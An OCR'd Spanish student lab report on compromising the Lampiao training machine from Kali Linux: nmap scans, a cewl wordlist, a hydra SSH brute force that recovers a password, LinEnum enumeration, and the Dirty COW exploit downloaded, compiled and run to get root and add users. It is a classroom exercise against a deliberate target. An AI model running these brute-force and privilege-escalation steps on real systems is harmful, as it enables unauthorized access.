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1. Introduccion
En esta practica trabajamos con Lampiao, una aplicaciéon web usada para aprender sobre
seguridad informatica. El objetivo fue simular un ataque controlado desde Kali Linux para crear
nuevos usuarios en el sitio y asi ver qué fallas existen. Durante el ejercicio aplicamos técnicas
basicas de reconocimiento, identificacion de puntos débiles y ejecucion de comandos para explotar
vulnerabilidades. Esto nos permitié comprender, paso a paso, como un atacante puede aprovechar

errores de configuracion o codigo inseguro.



2. Objetivos
2.1. Objetivo General
Aprender a identificar y aprovechar vulnerabilidades en Lampiao usando Kali Linux para
identificar y explotar vulnerabilidades que permitan la creacion de usuarios.

2.2. Objetivos Especificos

= Identificar vulnerabilidades y puntos de entrada en Lampiao.
= Ejecutar pruebas controladas para crear usuarios y documentar los pasos.

= Proponer recomendaciones para corregir las fallas detectadas.



3. Justificacion
La justificacion es doble: académica y practica. Académicamente, la actividad refuerza
contenidos vistos en clase (reconocimiento, explotacion y documentacion). En lo practico, permite
ver los errores comunes que cometen desarrolladores y administradores de sistemas y aprender a
mitigarlos. También fomenta la responsabilidad: al practicar en un entorno controlado,

entendiendo la diferencia entre usar conocimientos para aprender y hacerlo para causar dafo.
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4. Planteamiento de la Actividad

En la asignatura de Seguridad y Auditoria de Redes, el profesor plante6 como actividad la
explotacion de vulnerabilidades en Lampiao utilizando Kali Linux. La intencion era aplicar los
conceptos aprendidos en clase y demostrar la creacion de usuarios en el sistema como

evidencia de la falla de seguridad.

El problema principal surgié al momento de ejecutar los comandos necesarios para llevar
a cabo la practica. Aunque en teoria se conocian las herramientas y la secuencia de pasos, en
la practica varios comandos no funcionaban, ya sea por errores de sintaxis, falta de parametros
o desconocimiento del uso correcto. Esto gener6 retrasos, confusion y dificultad para cumplir

el objetivo.
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5. Desarrollo del tema
5.1. Capitulo #1

5.1.1 Escaneo de Red con Nmap

root@kali: /lhome/kali

/home/kali

-5V 192.128.100.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-11 16:44 CEST
Nmap scan report for nothing.attdns.com (192.128.100.1)
Host is up (0.00049s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp filtered domain
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Nmap scan report for nothing.attdns.com (192.128.100.2)
Host is up (0.0019s latency).

Not shown: 996 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?

7070/tcp open ssl/realserver?

61900/tcp open ossec-agent OSSEC Agent

MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for nothing.attdns.com (192.128.100.3)
Host is up (0.00020s latency).
All 1000 scanned ports on nothing.attdns.com (192.128.100.3) are in ignored stat

llustracion 1. Resultado del escaneo de puertos en la red 192.128.100.0/24.

Esta captura de pantalla muestra la ejecucion del comando nmap -sV
192.128.100.0/24 desde la terminal de Kali Linux. El objetivo de este paso fue realizar un
reconocimiento inicial de la red para identificar hosts activos y los servicios y versiones que se

estaban ejecutando en sus puertos abiertos.
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a root@kali: flhome/kali

Nmap scan report for nothing.attdns.com (192.128.100.14)

Host is up (©.00038s latency).

Not shown: 998 closed tcp ports (reset)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2
.0)

80/tcp open http?

1 service unrecognized despite returning data. If you know the service/version,
please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?n
ew-service :
SF—PDFtB@—TCP:V=?.95%1=?%D=9!11%Time:68C2EﬂﬁA%P=x86_64—pc—linux—gnu%r(NULL
SF:,1179,"\x20 W20 _\x20\x204\x20_\x20\x20\x20\x20\Xx20\%x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x204\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:@\x20\x20\x20\x20\x20\x204x20\x20\x20\n"\ | _\x20\x20\x20_\ | \x20\ | \x28\(\x
SF:20\)\x20\x20\x20\x20\x20\x20 \x20\x20\x20 \x20\x20\x20\ x20\x20 \ x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20 \x20\x20\x20\x20\x20\x20 \x20\X
SF:20\x20\x20\x204x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20",
SF:x20\n\x20\x20% | \x20% | \x20\ | \x20\ | _\|/\x20___\x204\x20\x20\x20___\x20\x20
SF:__\x20_\x20___\x20_\x20\x20'\x20_\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:@\x20\x20\x20\x20\x20\x20\x20\x20\x204x20\x20\x20\x20\x20\x20\x20\x20\n
SF:\x20\x20\ | \x20% | \x20\ | \x20__\|\x20/\x20__\|\x20\x20/\x20_\x20\\/\x20_"\
SFrx20/\x20  \Ihx20N haczeh k20N 1A x20\x20\x20\x20\x20\x20\ x20\ 20\ x28\ x20\

llustracion 2. Resultado del escaneo de puertos en la red 192.128.100.0/24.

5.1.2 Identificacion del Objetivo - Maquina Lampidao

=

a root@Kkali: /home/kali

QUITTING!

/home/kali
) -p 1-2000 192.128.100.14
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-11 16:47 CEST
Nmap scan report for nothing.attdns.com (192.128.100.14)

Host is up (0.00041s latency).

Not shown: 1997 closed tcp ports (reset)

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

1898/tcp open cymtec-port

MAC Address: 08:00:27:C6:7B:04 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.90 seconds

llustracion 3. Escaneo de puertos dirigido a la IP 192.128.100.14.
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Tras el escaneo general de la red, se identifico a la maquina con la direccion
IP 192.128.100.14 como el objetivo principal, confirmando que se trata de la maquina virtual de
Lampido. El comando nmap -p 1-2000 192.128.100.14 se utiliz6 para realizar un escaneo mas

detallado.

5.1.3 Interfaz visual con la IP de Lampiao en el navegador

G 192.128.100.14f X+

« C @ O & 192.128.100.14 ® @ 5 =

KaliLinux #& KaliTools = KaliDocs # KaliForums e\ Kali NetHunter Exploit-DB >

llustracion 4. Navegacion con la IP de Lampia

Una vez de haber identificado a través del escaneo de la red la direccion IP de Lampiao, se

pudo ingresar a la interfaz visual de Lampiao sin que esta mostrara el index principal.
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5.1.4 Pagina de Inicio y Login de Lampiao

=) % Lampido

-+

- C @ O A& 192128.100.14 Ny @ a =

Kali Linux #& Kali Tools

» KaliDocs & KaliForums e\ Kali NetHunter Exploit-DB

Home

User login

Username *

Password *

¢ Create new account

e Request new password

Login

Lampiao, her6i ou vilao do Sertao?
Submitted by tiago on Thu, 04/19/2018 - 18:25

Para uns, um idolo. Para outros, assassino. Lampido, uma das figuras n§

vida sendo temido e idolatrado pelas pessoas que aterrorizava e amparg

Llustracion 5. Interfaz web principal de la aplicacion Lampido

La captura muestra la pagina de inicio de la aplicaciéon web Lampido, accesible a través

de http://192.128.100.14. La interfaz presenta dos elementos principales de interés:

Formulario de Login

Contenido Publico


http://192.128.100.14/
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5.1.5 Analisis Detallado del Servicio SSH

root@kali: /lhome/kali

/home/kali
) -p 22 192.128.100.14 -A -s¢
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-11 16:58 CEST
Nmap scan report for nothing.attdns.com (192.128.100.14)
Host is up (0.0012s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2
.0)
| ssh-hostkey:
1024 46:b1:99:60:7d:81:69:3c:ae:1f:c7:ff:c3:66:e3:10 (DSA)
2048 f3:e8:88:f2:2d:d0:b2:54:0b:9c:ad:61:33:59:55:93 (RSA)
256 ce:63:2a:f7:53:6e:46:e2:ae:81:e3:ff:b7:16:f4:52 (ECDSA)
| _ 256 c6:55:ca:07:37:65:e3:06:¢c1:d6:5b:77:dc:23:df:cc (ED25519)
MAC Address: 08:00:27:C6:7B:04 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: 0SScan results may be unreliable because we could not find at least 1 o
pen and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
0S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
0S details: Linux 3.2 - 4.14
Network Distance: 1 hop
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

llustracion 6. Resultado del escaneo con scripts sobre el puerto SSH (22)

El comando nmap -p 22 192.128.100.14 -A -sC se ejecutd para obtener informacion

detallada del servicio SSH identificado previamente.
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a root@kali: /home/kali o}

| 1024 46:b1:99:60:7d:81:69:3c:ae:1f:c7:ff:c3:66:e3:10 (DSA)
| 2048 f3:e8:88:f2:2d:d0:b2:54:0b:9c:ad:61:33:59:55:93 (RSA)

| 256 ce:63:2a:f7:53:6e:46:e2:ae:81:e3:ff:b7:16:f4:52 (ECDSA)

|_ 256 c6:55:ca:07:37:65:e3:06:c1:d6:5b:77:dc:23:df:cc (ED25519)

MAC Address: 08:00:27:C6:7B:04 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: 0SScan results may be unreliable because we could not find at least 1 o
pen and 1 closed port

Device type: general purpose

Running: Linux 3.X|4.X

0S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4

0S details: Linux 3.2 - 4.14

Network Distance: 1 hop

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 1.18 ms nothing.attdns.com (192.128.100.14)

0S and Service detection performed. Please report any incorrect results at https

://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.09 seconds

/home/kali

llustracion 7. Resultado del escaneo con scripts sobre el puerto SSH (22)

Los resultados clave son:
e Version del Servicio: OpenSSH 6.6.1pl
o Huellas Digitales: Se recopilaron las claves publicas del host

e Deteccion de Sistema Operativo: Nmap
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5.1.6 Descubrimiento de Directorios

root@kali: /home/kali

root@kali: fhome/kali kali@kali: ~

robots.txt

/home/kali
L http://192.128.100.14:1898/ --write DiclLampiao.txt

]CeWL 6.2.1 (More Fixes) Robin Wood (robingdigi.ninja) (https://digi.ninja/)

/home/kali
robots.txt
DicLampiao.txt

/home/kali

-1 DiLampiao.tx

wc: DilLampiao.txt: No existe el fichero o el directorio

/home/kali
-1 DicLampiao.txt
844 DiclLampiao.txt

/home/kali

llustracion 8. Uso de la herramienta cevl para descubrir rutas en el servidor web.

En esta fase se utiliz6 la herramienta cewl para descubrir directorios y archivos ocultos en
el servidor web de Lampiao (http://192.128.100.14:1898/). El  comando cewl

http://192.128.100.14:1898/ --write DicLampiao.txt ejecutd un escaneo y guardo los resultados en

un archivo de texto llamado DicLampiao.txt.


http://192.128.100.14:1898/
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5.1.7 Contenido del Diccionario

root@kali: /home/kali Q

root@kali: fhome/kali kali@kali: ~

/home/kali
-1 DicLampiao.txt
844 DicLampiao.txt

/home/kali
{ DicLampiao.txt

| Lampiao

' que

main

field

com

section

account

wrapper

Home

new

para

por

content

foi

uma

User

page

fantar

lustracion 9.Visualizacion del archivo DicLampiao.txt

Tras el escaneo de directorios, se visualiza el contenido del archivo DicLampiao.txt usando
el comando cat. El archivo contiene un listado de palabras y rutas descubiertas en la aplicacion

web.
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5.1.8 Pantalla de ayuda de la herramienta Hydra

a kali@kali: ~ Q

root@kali: /home/kali kali@kali: ~ kali@kali:

zsh: corrupt history file /home/kali/.zsh_history

Ls e

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in mi
litary or secret service organizations, or for illegal purposes (this is non-bin
ding, these **x ignore laws and ethics anyway).

]Syntax: hydra [[[-1 LoGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o
FILE] [-t TASKS] [-M FILE [-T TASKkS]] [-w TIME] [-w TIME] [-f] [-s PORT] [-x MIN

:MAX:CHARSET] [-c TIME] [-ISOuvvd46] [-m MODULE_OPT] [service://server[:PORT][/0
PT]]

Options:

-1 LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-C FILE colon separated "login:pass" format, instead of -L/-P options
-M FILE 1list of servers to attack, one entry per line, ':' to specify port
-t TASKS run TASKS number of connects in parallel per target (default: 16)
-U service module usage details

options specific for a module, see -U output for information

more command line options (COMPLETE HELP)
server the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
service the service to crack (see below for supported protocols)
OPT some service modules support additional input (-U for module help)

1lustracion 10. Resumen de sintaxis y opciones basicas de Hydra.

Captura de la salida de ayuda del comando hydra en Kali Linux, mostrando la version, la
sintaxis general y las opciones principales para realizar ataques de fuerza bruta (login, password,

archivos, médulos y parametros de conexion).
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5.1.9 Ataque SSH con diccionario mediante Hydra

j + 1 kali@kali: ~

root@kali: /home/kali kali@kali: ~ kali@kali:

)= | o~

L wydra -1 user -P DicLampiao.txt ssh://192.128.100.14

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in mi
litary or secret service organizations, or for illegal purposes (this is non-bin
ding, these *** ignore laws and ethics anyway).

]Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-11 17:17:
10

[WARNING] Many SSH configurations limit the number of parallel tasks, it is reco
mmended to reduce the tasks: use -t 4

[DATA] max 16 tasks per 1 server, overall 16 tasks, 844 login tries (1:1/p:844),

~53 tries per task

[DATA] attacking ssh://192.128.100.14:22/

[STATUS] 241.00 tries/min, 241 tries in 00:01h, 605 to do in 00:03h, 14 active
“CThe session file ./hydra.restore was written. Type "hydra -R" to resume sessio

~

1 -1 tiago -P DicLampiao.txt ssh://192.128.100.14

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in mi
litary or secret service organizations, or for illegal purposes (this is non-bin
ding, these *** ignore laws and ethics anvwav).

lustracion 11. Ejecucion de Hydra contra SSH en Lampiao.

Captura del terminal donde se ejecuta hydra -1 <usuario> -P DicLampiao.txt
ssh://192.128.100.14. Se muestran mensajes de inicio de Hydra. También se ve que Hydra cre6 un

archivo de sesion para reanudar el ataque.
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5.1.10 Credenciales encontradas por Hydra

 + | kali@kali: ~ Q

root@kali: flhome/kali kali@kali: ~ kali@kali:

Ls hydra -1 tiago -P DicLampiao.txt ssh://192.128.100.14

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in mi
litary or secret service organizations, or for illegal purposes (this is non-bin
ding, these **x ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-11 17:18:
45

[WARNING] Many SSH configurations limit the number of parallel tasks, it is reco

mmended to reduce the tasks: use -t 4

[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip wa
iting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 844 login tries (1:1/p:844),
~53 tries per task

[DATA] attacking ssh://192.128.100.14:22/

[22][ssh] host: 192.128.100.14 login: tiago password: Virgulino

1 of 1 target successfully completed, 1 valid password found

[WARNING] writing restore file because 4 final worker threads did not complete u

ntil end.

[ERROR] 4 targets did not resolve or could not be connected

[ERROR] @ target did not complete

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-09-11 17:19:

52

llustracion 12. Resultado exitoso de fuerza bruta sobre SSH.

Captura del terminal mostrando la ejecucion de hydra -1 tiago -P DicLampiao.txt
ssh://192.128.100.14 y la salida final donde Hydra informa que encontrd una credencial valida:

usuario tiago y contrasea Virgulino.



22

5.1.11 Prueba de contraserias (Hydra)

a kali@kali: ~ Q

root@kali: /ho... kali@kali: ~ kali@kali: ~ kali@kali: ~

- o~

-v -V -1 tiago -p DicLampiao.txt ssh://192.128.100.14

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in mi
litary or secret service organizations, or for illegal purposes (this is non-bin
ding, these *x* ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-11 17:23:

48

[WARNING] Many SSH configurations limit the number of parallel tasks, it is reco

mmended to reduce the tasks: use -t 4

[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip wa
iting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (1:1/p:1), ~1 try pe

r task

[DATA] attacking ssh://192.128.100.14:22/

[VERBOSE] Resolving addresses ... [VERBOSE] resolving done

[INFO] Testing if password authentication is supported by ssh://tiago@192.128.10

0.14:22

[INFO] Successful, password authentication is supported by ssh://192.128.100.14:

22

[ATTEMPT] target 192.128.100.14 - login "tiago" - pass "DicLampiao.txt” - 1 of 1
[child e] (o/e)

[eTaTiI]] attarlk finiched far 102 128 100 14 (waitino far rhildren tn ramnlete to

Ilustracion 13. Resultado de intento de autenticacion.

Captura del terminal mostrando la ejecucion hydra -v -V -l tiago -p DicLampiao.txt
ssh://192.128.100.14. Se aprecian advertencias sobre la verificacion de que la autenticacion por
contrasefa esta soportada y el intento de autenticacion para el usuario tiago usando el archivo de

contraseflas DicLampiao.txt.
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5.1.12 Acceso Exitoso via SSH

 +1 tiago@lampiao: ~ Q

root@kali: /ho... kali@kali: ~ kali@kali: ~ tiago@lampia...
zsh: corrupt history file /home/kali/.zsh_history

| )= |~

E ssh tiagog192.128.100.14

The authenticity of host '192.128.100.14 (192.128.100.14)' can't be established.
ED25519 key fingerprint is SHA256:GGWOASYjbhMycAKiglcXcsa@HvSwkLHZP9bOBtVIPs8.
'This key is not known by any other names.
'Are you sure you want to continue connecting (yes/no/[fingerprint])? y

Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.128.10@.14' (ED25519) to the list of known hosts

tiagog192.128.100.14"s password:
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux &.4.@-31-generic i686)

* Documentation: https://help.ubuntu.com/
System information as of Thu Sep 11 12:19:48 BRT 2025

System load: ©.13 Processes: 181

Usage of /: 7.5% of 19.07GB  Users logged in: )]

Memory usage: 25% IP address for eth@: 192.128.100.14
Swap usage: 0%

Graph this data and manage this system at:
https://landscape.canonical.com/

Hlustracion 14. Conexion SSH establecida al servidor Lampido

Se logrd un acceso inicial al sistema mediante el servicio SSH (puerto 22) utilizando el
nombre de usuario tiago descubierto durante la fase de reconocimiento. El comando ssh

tiago@192.128.100.14 inicio la conexion, que fue autenticada exitosamente con una contrasefia.
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5.1.13 Descarga de Herramienta de Escalada de Privilegios LinEnum

% kali linux [Corriendo] - Oracle Virtual
o Msquina Ver Entrada D
Aplicaciones  Lugares 11desep 17:32 @2% @e% 101k 01k

@ Lampigo, herdi ou vi % €) GitHub - rebootuser/LinE X 4
C @ O B httpsi//github.com/rebootuse . o

KaliLinux g KaliTools = KaliDocs ¥ Kali Forums ¢\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

O Platform » Solutions ¥ Resources ¥ Open Source ¥ Enterprise > Pricing signin

] / O\ Notifications % Fork 2k

11 Pull reqy C ons ro 0 wiki @ Security |~ Insights

¥ master - ¥ 2Branches Q 2 Gotofile <> Code ~ About
B3 Clone
@) rebootuser Update

HTTPS  GitHub CLI
[ CHANGELOG.md

- nENUM. g1t
(] ITRIBUTC
[ LIcENSE

[ LinEnum.sh ownload ZIP

ontact/report-content?content_url=htt 'github.com/rebootuser/LinEnum&report=rebootuser+{user)

[lustracion 15. Clonacion del script LinEnum.sh en GitHub

Visita al repositorio de GitHub rebootuser/LinEnum, que contiene un script de
enumeracion muy conocido.

LinEnum automatiza la bisqueda comtn de escalada de privilegios en sistemas Linux
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a kali@kali: ~/LinEnum Q

root@kal... kali@kali: ~ kali@kali: ~ tiago@la... kali@kali...

zsh: corrupt history file /home/kali/.zsh_history

—— ) ~

L cit clone htfpé://github.com/rebootuser/LinEnum.git

Clonando en 'LinEnum'...

.remote: Enumerating objects: 234, done.

‘remote: Counting objects: 100% (96/96), done.

remote: Compressing objects: 100% (18/18), done.

remote: Total 234 (delta 81), reused 78 (delta 78), pack-reused 138 (from 1)
,Recibiendo objetos: 100% (234/234), 113.83 KiB | 518.00 KiB/s, listo.
Resolviendo deltas: 100% (130/130), listo.

robots.txt

)~ [~/LinEnum]

llustracion 16. Clonacion del script LinEnum.sh en la consola

La ejecucion del comando git clone https://github.com/rebootuser/LinEnum.git para

descargar la herramienta.



5.1.14 Verificacion y Preparacion del Script LinEnum.sh

a kali@kali: ~/LinEnum Q

root@kal... kali@kali: ~ kali@kali: ~

robots. txt
DicLampiao.txt

¢

i LinEnum

— )-[~/LinEnum]

| G2 1 «

CHANGELOG.md CONTRIBUTORS.md LICENSE LinEnum.sh README.md

)-[~/LinEnum]
d LinEnum.sh
: no es un directorio: LinEnum.sh

)-[~/LinEnum]
LinEnum.sh

)-[~/LinEnum]

llustracion 17. Navegacion y verificacion del contenido del directorio LinEnum

Una vez clonado el repositorio, se verifica su contenido con el comando Is, confirmando la

presencia del script principal LinEnum.sh junto con archivos de documentacion

tiago@la... kali@kali...
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https://linenum.sh/

td
Archivo Maquina Ver Entrada Dispositivos Ayuda
- -

Aplicaciones  Lugares

11desep 17:36
a
root@kali: /home/kali

kali@kali: ~/LinEnum
kali@kali: ~
GNU nano 8

tiago@lampiao: ~

IR
1 Enu

"Running with no optio

limited scans/no output file

Guardar il Buscar J Cortar Ejecutar G Ubicacién Deshacer [l Poner marca
Leer fich. g Reemplazar Pegar [ Justificar | Ir a linea Rehacer i

A llave E Anterior
Copiar Buscar atras

Siguiente
llustracion 18. Apertura del script principal de LinEnum.sh

Se abre el script con el editor nano usando el comando nano LinEnum.sh. Este paso

permite revisar o modificar el codigo del script antes de transferirlo.



5.1.15 Exploracion Inicial del Sistema

[+

root@ka... kali@kal..

Usage of /: 7.5% of 19.07GB
Memory usage: 25%
Swap usage: 0%

tiago@lampiao: ~ Q

tiago@la... kali@kali...

Users logged in: ]
IP address for eth®: 192.128.100.14

Graph this data and manage this system at:

https://landscape.canonical.com/

'New release '16.04.7 LTS’
Run 'do-release-upgrade' to upgrade to it.

avallable.

Last login: Fri Apr 20 14:40:55 2018 from 192.168.108.1

tiagoglampiao:~% cd /home

tiagoglampiao:/home$ 1s

tiagoglampiao:/home$ cd tiago
tiagoglampiao:~$ 1s -la

total 36
drwxr-xr-x 4 tiago
drwxr-xr-x 3 root
2 tiago
tiago
-rw-r--r-- 1 tiago
-rw-r--r-- 1 tiago
tiago
tiago
root

tiagoglampiao:~$ [J

tiago
root

tiago
tiago
tiago
tiago
tiago
tiago
root

4896
4096
4096
25
220
3637
4096
675
77

.bash_history
.bash_logout
.bashrc

.profile
viminfo

llustracion 19. listado de directorios criticos en la maquina Lampido
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Una vez establecida la sesion SSH como el usuario tiago, se inicia la exploracion del

sistema de archivos para entender el entorno y buscar informacion sensible.

El comando Is -la /home/tiago revela archivos ocultos del usuario.
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 + 1 tiago@lampiao: /etc

root@ka... kali@kal... kali@kal... tiago@la... kali@kali...

tiagoglampiao:~$ cd ..
tiagoglampiao:/home$ cd ..
tiagoglampiao:/$ 1s

tiagoglampiao:/$ cd /etc
tiagoglampiao:/etc$ 1s

inputrc
adduser.conf

insserv.conf

issue
issue.net

at.deny
bash.bashrc kernel-img.conf
bash_completion

bindresvport.blacklist 1d.so.cache
blkid.conf 1d.so.conf
rmt
legal rpc
libaudit.conf rsyslog.conf
ca-certificates.conf
locale.alias screenrc

llustracion 20. Navegacion de directorios criticos en Lampido tras el acceso SSH.

Se navega hasta el directorio raiz (/) y se lista su contenido. Luego, se explora el
directorio /etc, que contiene archivos de configuraciéon del sistema y de aplicaciones

(como apache2, passwd).



30

5.1.16 Inspeccion del Archivo /etc/passwd

a tiago@lampiao: fetc

root@ka... kali@kal... kali@kal... tiago@la... kali@kali...
GNU nano 2.2.6 File: passwd

tiago:x:1000:1000:tiago,,,:/home/tiago:/bin/bash
sshd:x:105:65534: :/var/run/sshd: /usr/sbin/nologin
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin: fusr/sbin/nologin
'bin:x:2:2:bin:/bin:/usr/sbin/nologin
'sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
_games:x:5:60:games: /usr/games: /usr/sbin/nologin
man:x:6:12:man:/var/cache/man: /usr/sbin/nologin

lp:x:7:7:1p:/var/spool/1lpd: /usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin: /usr/sbin/nologin

backup:x:34:34:backup: /var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
ire:x:39:39:ired:/var/run/ircd: /usr/sbin/nologin
‘gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nol$
nobody: x:65534:65534 :nobody : /nonexistent:/usr/sbin/nologin
libuuid:x:10@:101::/var/lib/1libuuid:
syslog:x:101:104: :/home/syslog:/bin/false

Read 23 lines (Warning: No write permission)
B¢ Get Help WY writeOut Prev Page @i Cut Text Cur Pos
B Exit W Justify Next Page @l UnCut Textj] To Spell

Llustracion 21. Visualizacion del archivo /etc/passwd

El comando nano /etc/passwd fue utilizado para visualizar su contenido. El archivo lista

todos los usuarios del sistema, confirmando la existencia de las cuentas root y Tiago.
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5.2.Capitulo #2

5.2.1 Descarga de un Exploit para Escalar Privilegios

kali@kali: ~

tiago@lampiao: fetc kali@kali: ~
zsh: corrupt history file /home/kali/.zsh_history
( )-[~]
[ wget https://www.exploit-db.com/download/4@847 -0 fotos.cpp
--2025-09-23 19:54:41-- https://www.exploit-db.com/download/40847
Resolviendo www.exploit-db.com (www.exploit-db.com)... 192.124.249.13
Conectando con www.exploit-db.com (www.exploit-db.com)[192.124.249.13]:443... conectado.
‘Peticion HTTP enviada, esperando respuesta... 200 OK
Longitud: no especificado [application/txt]
Grabando a: «fotos.cpp»

fotos.cpp [ <=> ] 1@,28K --.-KB/s en @,03s

2025-09-23 19:54:42 (323 KB/s) - «fotos.cpp» guardado [10531]

Cong

DicLampiao.txt fotos.cpp robots.txt

( )-[~]
[s scp fotos.cpp tiagog192.128.100.14:/home/tiago/

tiagog192.128.100.14"'s password:
fotos.cpp 100% 10KB 730.3KB/s 00:00

Ilustracion 22. transferencia a la maquina Lampido mediante SCP.

Se utiliza wget para descargar el exploit, guardandolo localmente con el
nombre fotos.cpp.

El archivo del exploit se transfiere desde la maquina Kali Linux al

directorio /home/tiago/ de la maquina Lampido utilizando el comando scp , autenticandose

con la contrasefia del usuario Tiago.
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5.2.2 Explotacion Exitosa de la Vulnerabilidad

root@lampiao: ~
root@lampiao: ~ kali@kali: ~

Graph this data and manage this system at:
https://landscape.canonical.com/

New release '16.04.7 LTS' available.
Run 'do-release-upgrade’ to upgrade to it.

Last login: Thu Sep 11 16:43:16 2025 from 192.128.100.5

tiagoglampiao:~$ 1s

fotos.cpp

tiagoglampiao:~$ 1s -la fotos.cpp

-ru-rw-r-- 1 tiago tiago 10531 Sep 11 17:01 fotos.cpp

tiagoglampiao:~$ g++ -Wall -pedantic -02 -std=c++11 -pthread -o documentos fotos.c
pp -lutil

tiagoglampiao:~$

tiagoglampiao:~$ chmod +x documentos
tiagoglampiao:~$ ./documentos -s
Running ...

Password overridden to: dirtyCowFun

Received su prompt (Password: )

rootglampiao:~# echo @ > /proc/sys/vm/dirty_writeback_centisecs
rootglampiao:~# cp /tmp/.ssh_bak /etc/passwd

rootglampiao:~# rm /tmp/.ssh_bak

rootglampiao:~#

llustracion 23. Ejecucion del exploit Dirty COW y obtencion de privilegios.

Esta secuencia documenta la explotacion exitosa que concede acceso de root al sistema:

Compilacion del Exploit: El comando g++ -Wall -pedantic -O2 -std=c++11 -pthread -o
documents fotos.cpp -lutil genera un ejecutable llamado documents.

Ejecucion y Escalada: Se dan permisos de ejecucion (chmod +x documents) y se ejecuta el

exploit (./documents).
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5.2.3 Creacion de Nuevos Usuarios

root@lampiao: ~

kali@kali: ~ root@lampiao: ~ root@lampiao: ~

rootglampiao:~# adduser jaramillo
_Adding user "jaramillo'
i Adding new group " jaramillo' (1002) ...
Adding new user "jaramillo' (1002) with group "jaramillo'
Creating home directory °/home/jaramillo’
Copying files from "/etc/skel’
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for jaramillo
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
other []:
Is the information correct? [Y/n] y
rootglampiao:~# adduser kevin
l adduser: The user "kevin' already exists.
rootglampiao:~# adduser sandoval
Adding user “sandoval'
Adding new group “sandoval' (1003) ...
Adding new user “sandoval' (1003) with group "sandoval'
Creating home directory "/home/sandoval' ...
Copying files from "/etc/skel’
Enter new UNIX password:
'Retype new UNIX password:

llustracion 24. Ejecucion de adduser para crear nuevas cuentas en el sistema.

Utilizando el comando adduser con los maximos privilegios, se ejecutan las siguientes
acciones:
1. Creacion de Usuario jaramillo: Se crea exitosamente el usuario jaramillo.

2. Creacién de Usuario sandoval: Se crea exitosamente el usuario sandoval
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5.2.4 Verificacion del acceso con los nuevos usuarios

Ubuntu 14.04.5 LTS lampiao ttyl

lampiao login: jaramillo
Password :

Login incorrect

lampiao login: jaramillo

Password :

Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)

* Documentation: https:/shelp.ubuntu.com~
System information as of Thu Sep 11 17:35:49 BRT 2025

System load: 0.25 Processes: 172

